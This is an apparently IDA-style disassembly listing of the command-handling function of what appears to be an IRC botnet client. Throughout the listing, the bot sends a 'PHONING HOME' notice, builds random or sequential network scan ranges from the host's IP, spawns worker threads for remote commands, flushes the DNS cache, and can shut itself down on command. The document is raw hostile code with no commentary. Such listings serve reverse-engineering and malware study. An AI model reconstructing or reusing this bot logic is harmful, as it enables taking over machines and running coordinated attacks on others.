		push	offset aPhonehome ; "phonehome"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4030BC
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B


loc_4032AF:				; CODE XREF: sub_401AA1+452j
		add	esp, 0Ch
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_4032B7:				; CODE XREF: sub_401AA1+17D2j
					; sub_401AA1+17E3j
		mov	al, byte_434B7A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_434B7A
		jz	loc_401F20
		mov	ecx, edx


loc_4032CE:				; CODE XREF: sub_401AA1+1835j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4032CE
		cmp	al, bl
		jz	loc_401F20
		mov	[ebp+arg_18], edx
		mov	esi, offset aWm_0 ; "#wm##"


loc_4032E8:				; CODE XREF: sub_401AA1+1AF3j
		push	0Bh
		call	sub_40A372
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403337
		push	ecx
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F790
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 20h
		jmp	loc_40358B
; ---------------------------------------------------------------------------


loc_403337:				; CODE XREF: sub_401AA1+1861j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_434898, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4033A8
		mov	edi, offset dword_434898


loc_40336C:				; CODE XREF: sub_401AA1+18E9j
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40338E
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40336C
		jmp	short loc_4033A8
; ---------------------------------------------------------------------------


loc_40338E:				; CODE XREF: sub_401AA1+18DFj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_434898[ecx]
		mov	[ebp+var_74C], ecx


loc_4033A8:				; CODE XREF: sub_401AA1+18C4j
					; sub_401AA1+18EBj
		cmp	[ebp+var_74C], ebx
		jz	loc_4035B1
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CDE8C	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_418350
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_418BA0
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_403450


loc_40342E:				; CODE XREF: sub_401AA1+19ADj
		cmp	eax, ebx
		jz	short loc_403450
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_418BA0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40342E


loc_403450:				; CODE XREF: sub_401AA1+198Bj
					; sub_401AA1+198Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_4186E0
		push	offset byte_4400B4
		push	esi
		call	sub_418DD0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4034B2
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 0Ch
		jmp	short loc_4034B8
; ---------------------------------------------------------------------------


loc_4034B2:				; CODE XREF: sub_401AA1+19FCj
		mov	[ebp+var_7D0], bl


loc_4034B8:				; CODE XREF: sub_401AA1+1A0Fj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4034CA
		mov	eax, offset aSequential	; "Sequential"


loc_4034CA:				; CODE XREF: sub_401AA1+1A22j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F710
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40A130
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40B361
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_4035A7
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F6D4
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_40355D:				; CODE XREF: sub_401AA1+1B0Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_40357E
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h


loc_40357E:				; CODE XREF: sub_401AA1+1ABFj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		pop	ecx


loc_40358B:				; CODE XREF: sub_401AA1+1891j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4032E8
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_40359F:				; CODE XREF: sub_401AA1+1B0Cj
		push	32h
		call	dword_424078	; Sleep


loc_4035A7:				; CODE XREF: sub_401AA1+1A9Fj
		cmp	[ebp+var_71C], ebx
		jz	short loc_40359F
		jmp	short loc_40355D
; ---------------------------------------------------------------------------


loc_4035B1:				; CODE XREF: sub_401AA1+190Dj
		push	offset unk_42F69C
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_4035BB:				; CODE XREF: sub_401AA1+17A8j
					; sub_401AA1+17BDj
		push	5
		call	sub_40A372
		test	eax, eax
		pop	ecx
		jle	short loc_4035D1
		push	offset unk_42F67C
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_4035D1:				; CODE XREF: sub_401AA1+1B24j
		mov	eax, [ebp+esi+var_8C]
		mov	edi, 104h
		cmp	eax, ebx
		jz	short loc_4035F4
		push	eax
		lea	eax, [ebp+var_2550]
		push	edi
		push	eax
		call	sub_4186E0
		add	esp, 0Ch
		jmp	short loc_403603
; ---------------------------------------------------------------------------


loc_4035F4:				; CODE XREF: sub_401AA1+1B3Ej
		lea	eax, [ebp+var_2550]
		push	edi
		push	eax
		push	ebx
		call	dword_424070	; GetModuleFileNameA


loc_403603:				; CODE XREF: sub_401AA1+1B51j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403613
		mov	esi, offset byte_4260F8


loc_403613:				; CODE XREF: sub_401AA1+1B6Bj
		push	esi
		lea	eax, [ebp+var_244C]
		push	edi
		push	eax
		call	sub_4186E0
		mov	eax, dword_42607C
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2340],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2344],	ebx
		mov	[ebp+var_2554],	eax
		lea	eax, [ebp+var_233C]
		push	eax
		call	sub_418350
		mov	eax, [ebp+var_4]
		mov	[ebp+var_22BC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_22B8],	eax
		lea	eax, [ebp+var_2550]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_2340]
		push	offset unk_42F648
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	5
		push	eax
		call	sub_40A130
		add	esp, 34h
		mov	[ebp+var_2348],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2554]
		push	ebx
		push	eax
		push	offset sub_410CB3
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_2348]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_4036DF
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42F60C
		jmp	loc_404412
; ---------------------------------------------------------------------------


loc_4036D7:				; CODE XREF: sub_401AA1+1C44j
		push	32h
		call	dword_424078	; Sleep


loc_4036DF:				; CODE XREF: sub_401AA1+1C23j
		cmp	[ebp+var_22B4],	ebx
		jz	short loc_4036D7
		jmp	loc_404421
; ---------------------------------------------------------------------------


loc_4036EC:				; CODE XREF: sub_401AA1+177Ej
					; sub_401AA1+1793j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40370B
		push	edi
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		jz	short loc_40370B
		push	edi
		call	sub_4184D9
		pop	ecx
		jmp	short loc_403710
; ---------------------------------------------------------------------------


loc_40370B:				; CODE XREF: sub_401AA1+1C54j
					; sub_401AA1+1C5Fj
		mov	eax, dword_426080


loc_403710:				; CODE XREF: sub_401AA1+1C68j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_2DC4],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_2DB0],	eax
		jz	short loc_403743
		lea	eax, [ebp+var_2EC8]
		push	esi
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx
		jmp	short loc_40376E
; ---------------------------------------------------------------------------


loc_403743:				; CODE XREF: sub_401AA1+1C8Fj
		lea	eax, [ebp+var_4050]
		push	104h
		push	eax
		call	dword_424074	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4050]
		push	eax
		call	sub_418731
		add	esp, 14h


loc_40376E:				; CODE XREF: sub_401AA1+1CA0j
		lea	eax, [ebp+var_2EC8]
		push	eax
		call	sub_417D40
		cmp	[ebp+eax+var_2EC9], 5Ch
		pop	ecx
		jnz	short loc_403799
		lea	eax, [ebp+var_2EC8]
		push	eax
		call	sub_417D40
		pop	ecx
		mov	[ebp+eax+var_2EC9], bl


loc_403799:				; CODE XREF: sub_401AA1+1CE2j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3150]
		mov	[ebp+var_3154],	esi
		push	80h
		push	eax
		call	sub_4186E0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2DB4],	eax
		lea	eax, [ebp+var_2EC8]
		mov	[ebp+var_2DB8],	edi
		push	eax
		push	[ebp+var_2DC4]
		push	esi
		call	sub_409C7B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F5D0
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	3
		push	eax
		call	sub_40A130
		add	esp, 20h
		mov	[ebp+var_2DBC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3154]
		push	ebx
		push	eax
		push	offset sub_40E667
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_2DBC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_40386E
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42F594


loc_403847:				; CODE XREF: sub_401AA1+1EF4j
					; sub_401AA1+4433j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_403856:				; CODE XREF: sub_401AA1+1DD5j
					; sub_401AA1+1F09j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_404442
		push	ebx
		push	edi
		jmp	loc_40698A
; ---------------------------------------------------------------------------


loc_403866:				; CODE XREF: sub_401AA1+1DD3j
		push	32h
		call	dword_424078	; Sleep


loc_40386E:				; CODE XREF: sub_401AA1+1D98j
		cmp	[ebp+var_2DA8],	ebx
		jz	short loc_403866
		jmp	short loc_403856
; ---------------------------------------------------------------------------


loc_403878:				; CODE XREF: sub_401AA1+1754j
					; sub_401AA1+1769j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403897
		push	edi
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		jz	short loc_403897
		push	edi
		call	sub_4184D9
		pop	ecx
		jmp	short loc_40389C
; ---------------------------------------------------------------------------


loc_403897:				; CODE XREF: sub_401AA1+1DE0j
					; sub_401AA1+1DEBj
		mov	eax, dword_426084


loc_40389C:				; CODE XREF: sub_401AA1+1DF4j
		mov	[ebp+var_15D0],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_4038B3
		lea	eax, [ebp+var_C0]


loc_4038B3:				; CODE XREF: sub_401AA1+1E0Aj
		push	eax
		lea	eax, [ebp+var_1710]
		push	40h
		push	eax
		call	sub_4186E0
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_4038D5
		mov	esi, offset byte_4400B4


loc_4038D5:				; CODE XREF: sub_401AA1+1E2Dj
		push	esi
		lea	eax, [ebp+var_16D0]
		push	100h
		push	eax
		call	sub_4186E0
		push	[ebp+var_88]
		lea	eax, [ebp+var_1790]
		push	80h
		push	eax
		call	sub_4186E0
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_15BC],	eax
		lea	eax, [ebp+var_1710]
		push	eax
		mov	[ebp+var_1794],	esi
		push	[ebp+var_15D0]
		mov	[ebp+var_15C0],	edi
		push	esi
		call	sub_409C7B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F558
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	9
		push	eax
		call	sub_40A130
		add	esp, 20h
		mov	[ebp+var_15CC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1794]
		push	ebx
		push	eax
		push	offset sub_40FF8D
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_15CC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_4039A2
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42F51C
		jmp	loc_403847
; ---------------------------------------------------------------------------


loc_40399A:				; CODE XREF: sub_401AA1+1F07j
		push	32h
		call	dword_424078	; Sleep


loc_4039A2:				; CODE XREF: sub_401AA1+1EE6j
		cmp	[ebp+var_15B8],	ebx
		jz	short loc_40399A
		jmp	loc_403856
; ---------------------------------------------------------------------------


loc_4039AF:				; CODE XREF: sub_401AA1+172Aj
					; sub_401AA1+173Fj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4039C2
		push	esi
		call	sub_4184D9
		jmp	short loc_4039C9
; ---------------------------------------------------------------------------


loc_4039C2:				; CODE XREF: sub_401AA1+1F17j
		push	0Bh
		call	sub_40A391


loc_4039C9:				; CODE XREF: sub_401AA1+1F1Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_4089AE
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40AA71
		jmp	loc_403EC1
; ---------------------------------------------------------------------------


loc_4039E9:				; CODE XREF: sub_401AA1+1700j
					; sub_401AA1+1715j
		mov	eax, dword_4CDE10
		cmp	eax, ebx
		jz	short loc_403A0C
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_403A05
		push	offset unk_42F4F8
		jmp	short loc_403A34
; ---------------------------------------------------------------------------


loc_403A05:				; CODE XREF: sub_401AA1+1F5Bj
		push	offset unk_42F4CC
		jmp	short loc_403A34
; ---------------------------------------------------------------------------


loc_403A0C:				; CODE XREF: sub_401AA1+1F4Fj
		push	offset unk_42F4A0
		lea	eax, [ebp+var_2C0]
		jmp	short loc_403A34
; ---------------------------------------------------------------------------


loc_403A19:				; CODE XREF: sub_401AA1+16D6j
					; sub_401AA1+16EBj
		call	sub_409BA3
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_403A2F
		push	offset unk_42F47C
		jmp	short loc_403A34
; ---------------------------------------------------------------------------


loc_403A2F:				; CODE XREF: sub_401AA1+1F85j
		push	offset unk_42F450


loc_403A34:				; CODE XREF: sub_401AA1+1F62j
					; sub_401AA1+1F69j ...
		push	200h
		push	eax
		call	sub_4186E0
		jmp	loc_4063F2
; ---------------------------------------------------------------------------


loc_403A44:				; CODE XREF: sub_401AA1+16ACj
					; sub_401AA1+16C1j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403A63
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42F438
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h


loc_403A63:				; CODE XREF: sub_401AA1+1FA6j
		push	ebx
		push	[ebp+var_4]
		call	sub_4157EF
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		push	offset dword_42F41C
		jmp	loc_403D8E
; ---------------------------------------------------------------------------


loc_403A85:				; CODE XREF: sub_401AA1+153Cj
					; sub_401AA1+1551j
		push	0Ah
		call	sub_40A372
		test	eax, eax
		pop	ecx
		jle	short loc_403A98
		push	offset unk_42F3F0
		jmp	short loc_403AB9
; ---------------------------------------------------------------------------


loc_403A98:				; CODE XREF: sub_401AA1+1FEEj
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41732D
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403AB4
		push	offset unk_42F3C8
		jmp	short loc_403AB9
; ---------------------------------------------------------------------------


loc_403AB4:				; CODE XREF: sub_401AA1+200Aj
		push	offset unk_42F3A8


loc_403AB9:				; CODE XREF: sub_401AA1+1FF5j
					; sub_401AA1+2011j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx


loc_403AC7:				; CODE XREF: sub_401AA1+4FA4j
					; sub_401AA1+67D6j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403AE8
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403AE0:				; CODE XREF: sub_401AA1+642Fj
		call	sub_408BC1
		add	esp, 14h


loc_403AE8:				; CODE XREF: sub_401AA1+2029j
					; sub_401AA1+2241j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		jmp	loc_408B2F
; ---------------------------------------------------------------------------


loc_403AF9:				; CODE XREF: sub_401AA1+1512j
					; sub_401AA1+1527j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409874
		jmp	loc_403DAF
; ---------------------------------------------------------------------------


loc_403B12:				; CODE XREF: sub_401AA1+14E8j
					; sub_401AA1+14FDj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_414B0B
		jmp	loc_403DAF
; ---------------------------------------------------------------------------


loc_403B2F:				; CODE XREF: sub_401AA1+14BEj
					; sub_401AA1+14D3j
		or	edi, 0FFFFFFFFh
		call	dword_4240A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_403B58
		push	esi
		call	sub_4184D9
		pop	ecx
		mov	edi, eax


loc_403B58:				; CODE XREF: sub_401AA1+20ACj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_403B71
		cmp	edi, 0FFFFFFFFh
		jnz	loc_4089AE


loc_403B71:				; CODE XREF: sub_401AA1+20C5j
		push	ebx
		call	sub_4178B6
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F390
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A


loc_403BAE:				; CODE XREF: sub_401AA1+55FBj
		add	esp, 28h
		jmp	loc_4089AE
; ---------------------------------------------------------------------------


loc_403BB6:				; CODE XREF: sub_401AA1+1494j
					; sub_401AA1+14A9j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41414A
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F370
		push	eax
		call	sub_4185E6
		jmp	loc_407972
; ---------------------------------------------------------------------------


loc_403BDD:				; CODE XREF: sub_401AA1+146Aj
					; sub_401AA1+147Fj
		push	27h
		call	sub_40A372
		test	eax, eax
		pop	ecx
		jle	short loc_403C0E
		cmp	[ebp+var_8], ebx
		jnz	loc_401F20
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42F350
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		jmp	loc_408291
; ---------------------------------------------------------------------------


loc_403C0E:				; CODE XREF: sub_401AA1+2146j
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_4186E0
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		jz	short loc_403C6F
		push	esi
		push	offset aFull	; "full"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403C6F
		mov	[ebp+var_A10], 1


loc_403C6F:				; CODE XREF: sub_401AA1+21B1j
					; sub_401AA1+21C2j
		lea	eax, [ebp+var_2C0]
		push	offset dword_42F32C
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	27h
		push	eax
		call	sub_40A130
		add	esp, 14h
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_416FB4
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_403CEF
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F2F0
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		jmp	loc_403AE8
; ---------------------------------------------------------------------------


loc_403CE7:				; CODE XREF: sub_401AA1+2254j
		push	32h
		call	dword_424078	; Sleep


loc_403CEF:				; CODE XREF: sub_401AA1+2224j
		cmp	[ebp+var_A04], ebx
		jz	short loc_403CE7
		jmp	loc_403AE8
; ---------------------------------------------------------------------------


loc_403CFC:				; CODE XREF: sub_401AA1+1440j
					; sub_401AA1+1455j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403D1B
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42F2D4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h


loc_403D1B:				; CODE XREF: sub_401AA1+225Ej
		push	[ebp+arg_4]
		call	dword_4CDF78	; closesocket
		call	dword_4CDE48	; WSACleanup
		call	sub_415972
		push	ebx
		call	dword_424064	; ExitProcess


loc_403D36:				; CODE XREF: sub_401AA1+1416j
					; sub_401AA1+142Bj
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4179BF
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		push	offset dword_42F2B8
		jmp	short loc_403D8E
; ---------------------------------------------------------------------------


loc_403D61:				; CODE XREF: sub_401AA1+13ECj
					; sub_401AA1+1401j
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_417C73
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		push	offset dword_42F29C


loc_403D8E:				; CODE XREF: sub_401AA1+1FDFj
					; sub_401AA1+22BEj
		call	sub_413F3A


loc_403D93:				; CODE XREF: sub_401AA1+6538j
		add	esp, 18h
		jmp	loc_4089AE
; ---------------------------------------------------------------------------


loc_403D9B:				; CODE XREF: sub_401AA1+13C2j
					; sub_401AA1+13D7j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_413FDA


loc_403DAF:				; CODE XREF: sub_401AA1+3A9j
					; sub_401AA1+206Cj ...
		add	esp, 10h
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_403DB7:				; CODE XREF: sub_401AA1+1398j
					; sub_401AA1+13ADj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1340],	bl
		jz	short loc_403DF6
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403DF6
		push	esi
		push	[ebp+var_C]
		call	sub_418660
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_403DF6
		push	eax
		push	offset dword_42F298
		lea	eax, [ebp+var_1340]
		push	80h
		push	eax
		call	sub_4186E0
		add	esp, 10h


loc_403DF6:				; CODE XREF: sub_401AA1+231Fj
					; sub_401AA1+232Aj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_13C0]
		push	80h
		push	eax
		call	sub_4186E0
		mov	eax, [ebp+arg_4]
		push	offset dword_42F280
		mov	[ebp+var_13C4],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_12BC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_12B8],	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	25h
		push	eax
		call	sub_40A130
		add	esp, 20h
		mov	[ebp+var_12C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13C4]
		push	ebx
		push	eax
		push	offset sub_41401B
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_12C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_403E99
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42F248
		jmp	loc_408B29
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401AA1+23FEj
		push	32h
		call	dword_424078	; Sleep


loc_403E99:				; CODE XREF: sub_401AA1+23DDj
		cmp	[ebp+var_12B4],	ebx
		jz	short loc_403E91
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_403EA6:				; CODE XREF: sub_401AA1+136Ej
					; sub_401AA1+1383j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_413EC2
		push	offset dword_42F230
		call	sub_413F3A


loc_403EC1:				; CODE XREF: sub_401AA1+1F43j
		add	esp, 10h
		jmp	loc_4089AE
; ---------------------------------------------------------------------------


loc_403EC9:				; CODE XREF: sub_401AA1+1344j
					; sub_401AA1+1359j
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_4186E0
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		jz	short loc_403F23
		push	offset dword_42F22C
		push	esi
		call	sub_418DD0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_AA8], eax
		jmp	short loc_403F29
; ---------------------------------------------------------------------------


loc_403F23:				; CODE XREF: sub_401AA1+2466j
		mov	[ebp+var_AA8], ebx


loc_403F29:				; CODE XREF: sub_401AA1+2480j
		lea	eax, [ebp+var_2C0]
